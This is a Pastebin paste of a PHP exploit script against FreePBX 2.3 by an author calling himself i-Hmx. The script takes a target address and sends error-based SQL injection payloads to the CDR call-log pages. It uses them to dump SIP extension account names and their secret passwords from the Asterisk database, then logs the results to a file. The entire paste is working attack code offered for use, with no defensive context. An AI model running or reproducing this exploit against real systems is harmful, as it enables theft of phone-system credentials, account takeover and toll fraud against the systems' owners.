i-Hmx

FreePBX , Extension Dump Exploit

Apr 27th, 2013
966
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.43 KB | None | 0 0
  1. <?
  2. /*
  3. + Application : FreePBX => 2.3
  4. | By Faris , AKA i-Hmx
  5. + sec4ever.com , 1337s.cc
  6. */
  7. print "\r\n";
  8. print "+-------------------------------------------+\n";
  9. print "|              FreePBX => 2.3               |\n";
  10. print "|      Extenstion Dumping Exploitation      |\n";
  11. print "|                  By i-Hmx                 |\n";
  12. print "|             [email protected]             |\n";
  13. print "+-------------------------------------------+\n";
  14. echo "| Enter Targer < https://ip > # ";
  15. $ip=trim(fgets(STDIN));
  16. $host=str_replace("/","",str_replace("http://","",str_replace("https://","",$ip)));
  17. $fafile=fopen("$host.log","ab");
  18. fwrite($fafile,"[+] FreePBX Extension Dump Result\r\n[+] By i-Hmx\r\n[+] [email protected]\r\n\n");
  19. echo "\n\n[+] Attacking $host\n\n";
  20. for($f=0;$f<10;$f++)
  21. {
  22. $uzdata=faget("$ip/admin/cdr/call-log.php?handler=cdr&s=&t=&order=calldate&sens=DESC&current_page=0","posted=1&current_page=0&Period=Month&fromstatsmonth=2013-02&tostatsmonth=2013-02&fromstatsday_sday=01&fromstatsmonth_sday=2013-02&tostatsday_sday=01&tostatsmonth_sday=2013-02&dst=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%280x666172736177793e3e%2Cid%2C0x3c3c%29+FROM%60asterisk%60.sip+where+%60keyword%60%3D%27account%27+LIMIT+$f"."%2C1%29+%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+%271%27%3D%271&dsttype=1&src=&srctype=1&channel=&duration1=&duration1type=1&duration2=&image16.x=0&image16.y=0&resulttype=min");
  23. $user=kastr($uzdata,"farsawy>>","<<");
  24. echo "   + Username : $user\n";
  25. fwrite($fafile,"   + Username : $user\r\n");
  26. $pwdata=faget("$ip//admin/cdr/call-log.php?handler=cdr&s=&t=&order=calldate&sens=DESC&current_page=0","posted=1&current_page=0&Period=Month&fromstatsmonth=2013-02&tostatsmonth=2013-02&fromstatsday_sday=01&fromstatsmonth_sday=2013-02&tostatsday_sday=01&tostatsmonth_sday=2013-02&dst=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%280x666172736177793e3e%2Cdata%2C0x3c3c%29+FROM%60asterisk%60.sip+where+%60keyword%60%3D%27secret%27+LIMIT+$f"."%2C1%29+%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+%271%27%3D%271&dsttype=1&src=&srctype=1&channel=&duration1=&duration1type=1&duration2=&image16.x=0&image16.y=0&resulttype=min");
  27. $pass=kastr($pwdata,"farsawy>>","<<");
  28. echo "   + Password : $pass\n\n";
  29. fwrite($fafile,"   + Password : $pass\r\n\n");
  30. }
  31. function faget($url,$post){
  32. $curl=curl_init();
  33. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  34. curl_setopt($curl,CURLOPT_URL,$url."/admin/cdr/call-comp.php");
  35. curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
  36. curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
  37. curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
  38. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  39. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  40. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
  41. curl_setopt($curl,CURLOPT_TIMEOUT,5);
  42. curl_setopt($curl, CURLOPT_HEADER, false);
  43. $exec=curl_exec($curl);
  44. curl_close($curl);
  45. return $exec;
  46. }
  47. function kastr($string, $start, $end){
  48.                 $string = " ".$string;
  49.                 $ini = strpos($string,$start);
  50.                 if ($ini == 0) return "";
  51.                 $ini += strlen($start);
  52.                 $len = strpos($string,$end,$ini) - $ini;
  53.                 return substr($string,$ini,$len);
  54. }
  55. ?>
Advertisement
Add Comment
Please, Sign In to add comment